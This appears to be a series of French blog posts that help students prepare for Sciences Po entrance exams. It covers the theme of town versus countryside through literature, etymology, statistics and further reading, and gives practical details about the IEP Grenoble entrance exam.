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Un sujet pour les Questions Contemporaines : « France des villes, France des champs »

                                                  «  France des villes, France des champs. »

« A nous deux, maintenant ! ». Par ce cri de défi que Rastignac lance à Paris, le jeune ambitieux incarne la figure de l’arriviste décidé à conquérir la société mondaine. A travers ce personnage, Balzac dépeint dans Le Père Goriot l’aspiration à la vie urbaine d’une jeunesse délaissant sa campagne natale pour se construire à la ville ; déjà la France des villes et la France des champs apparaissent-elles comme deux mondes indissociables, mais concurrents.

L’opposition entre ces deux mondes est illustrée par La Fontaine dans sa fable sur Le Rat de ville et le Rat des champs, inspirée d’Esope : d’abord séduit par l’opulence de la vie urbaine, le rat des champs finit par choisir la quiétude de la vie aux champs. Une symbolique forte imprègne ainsi l’imaginaire collectif, opposant les modes de vies urbain et rural, le citadin au campagnard, la modernité et le progrès à la tradition, voire le vice à la vertu. Deux espaces semblent cohabiter sans communiquer, s’observer sans se comprendre, se mépriser et se fantasmer. Au-delà de leur dimension symbolique, villes et champs se caractérisent par des réalités statistiques. Les villes se définissent par un critère de peuplement (plus de 2 000 habitants) et une continuité de l’habitat. A l’inverse, les champs renvoient aux campagnes, identifiées aux communes regroupant moins de 2 000 habitants dans des espaces de faible densité. La campagne se définit également en vertu de l’activité agricole qui s’y développe, en opposition aux secteurs secondaire et tertiaire prédominants en ville. Dans les idées comme dans les faits, la France apparaît donc comme un territoire vaste et hétérogène, constitutif de son identité.

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Questions Contemporaines : Réflexions sur la Ville (2) – A partir de mots clés.

Voici quelques mots clés qui sont autant d’occasions d’enrichir la réflexion sur le thème de la ville.

                                    Agora.

 

Place publique et surtout place du public, l’agora rassemble les institutions politiques, les bâtiments religieux, certains sites commerciaux ou bien encore des écoles philosophiques des villes grecques de l’Antiquité. L’échange démocratique s’y organise et le lieu devient synonyme de débats libres, d’une Parole mobile qui circule. On associe également parfois l’agora à la démocratie directe. De fait, c’est bien là que les citoyens peuvent interpeler ceux qui ont été tirés au sort pour les diriger et les administrer. Car on vote rarement pour désigner les magistrats à Athènes, par exemple. En revanche les citoyens discutent des lois et des mesures qui les concernent. L’agora nous rappelle que l’exercice de la démocratie réside moins dans l’élection de certains hommes que dans la possibilité d’en débattre.

Aujourd’hui, le mot agora désigne de façon emphatique dans certaines « villes nouvelles » une grande place, comme si le nom pouvait à lui seul inciter les habitants à se réapproprier l’espace de la Cité.

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Questions Contemporaines: La ville. Quelles lectures complémentaires ?

Les questions Contemporaines valorisent les références à des champs de connaissance extrêmement variés . Ne pas oublier pour la Ville les films qui rêvent ou cauchemardent la Ville du futur, de « Métropolis » de F. Lang au « Cinquième élément » de Luc Besson. Mais la Ville, c’est aussi l’espace tragique des grands polars: au cinéma « Chinatown » de Polanski, ou encore « L’année du Dragon » de Cimino. Pour le roman noir, la liste est longue… »Quand la ville dort », « Asphalt jungle », « L.A. Confidential »…Vous n’avez que l’embarras du choix.

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Questions Contemporaines: Réflexions sur la Ville (1)

Afin de prolonger cette première présentation sur la ville et pour aider aussi davantage les étudiants qui ne sont pas des « spécialistes » des SES, voici une série de remarques qui renvoient au programme des Etudes de Sociologie. Car c’est bien un fait remarquable, la naissance de la grande Ville est contemporaine de la pensée sociologique. Et il faut y voir, je crois, bien plus qu’une simple coïncidence.

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Questions Contemporaines: suite (3)

3-« Les lumières de la ville ».

 

Aujourd’hui, 75 % des hommes vivants dans les pays de l’OCDE sont des citadins, quant aux habitants de ce que l’on appelle les « pays émergeants », s’ils sont à présent seulement 40% à résider dans des villes, à l’horizon 2015  ces derniers représenteront 50% de la population.

La ville « gagne » donc du terrain, elle se démultiplie – les métropoles régionales sont de plus en plus nombreuses -, elle attire toujours davantage d’habitants ( on rappellera que la ville se définit précisément par le nombre de ses habitants , 2000 pour l’insee ) , elle se donne enfin comme le lieu de la réalisation de l’humain. De fait, la « fondation » d’une ville, relayée par des récits légendaires ou mythiques, est toujours un acte de rupture avec la Nature, c’est donc un acte dangereux et qui réclame des précautions : le choix du site est délicat, il faut des signes favorables … La construction des villes, comme celle des ponts ( pontem facere, bâtir un pont, donne Pontife), est une affaire sacrée. L’affirmation de la Culture sur la Nature fait toujours intervenir le religieux : colo signifie en latin à la fois cultiver la terre , habiter (d’où le mot colon) et honorer les dieux.

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Questions Contemporaines : La ville (suite)

2- La fin d’un Monde ?

 

Que peut-il en effet rester de nos campagnes lorsque toutes les trente minutes en France disparaît une exploitation agricole ?

Un tel chiffre, construit à l’évidence pour frapper l’imagination, traduit toutefois exactement l’ampleur d’une mutation historique sans équivalent dans nos sociétés : 7,5 millions en 1946, les agriculteurs français ne sont plus désormais que 613 000.

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Questions Contemporaines : La Ville.

L’intitulé de la Question nous rappelle que la Ville ne cesse de gagner du terrain et qu’elle est en elle-même un sujet. On gagnera pourtant dans un premier temps à saisir l’interdépendance de la Ville et de la Campagne...

« Les gens de la campagne, meilleurs que ceux de la ville . Envier leur sort. »

Dictionnaire des Idées reçues , G. Flaubert

 

 

Entre le paysan et sa terre, son « pays », le lieu où il vit, l’attachement s’inscrit dans une évidente nécessité. C’est affaire de Nature, facteur de stabilité :

Entre l’homme et sa terre, il y a le lien d’une loi naturelle, écrit Emmanuel Le Roy Ladurie, Il n’y a pas de contrat social. Au contraire, entre le capitaliste et son débiteur, entre le prolétaire et son employeur, entre le fonctionnaire et son Etat, il y a des liens contractuels, des conventions collectives et particulières, débattues, concertées, et modifiables au gré des intéressés, ou encore un statut.

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Concours d’entrée à l’Institut d’Etudes Politiques de Grenoble -Fiche signalétique :

Il s’agit du concours d’entrée en première année du moins « connu » des 10 IEP. Il est indépendant à l’instar de celui de Bordeaux et n’emprunte donc rien ni à Paris, ni au concours commun des IEP de Région. Il est de fait constitué d’épreuves originales et singulières conçues en référence à un ouvrage qui change chaque année.

Ce concours d’entrée en première année est ouvert aux bacheliers de l’année ainsi qu’à ceux de l’année précédente.

Il aura lieu toute la journée du samedi 5 mai 2018, à Grenoble.

Un ensemble de 200 places environ est mis au concours, ce qui correspond à peu de chose près toujours à 10% des candidats présents.

Il s’agit donc d’un concours aussi sélectif que les trois autres (Paris / Région / Bordeaux)

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Attention: le 2 février, publication des dispenses d’épreuves écrites. Certains d’entre vous seront déclarés admissibles sans avoir à passer les écrits !

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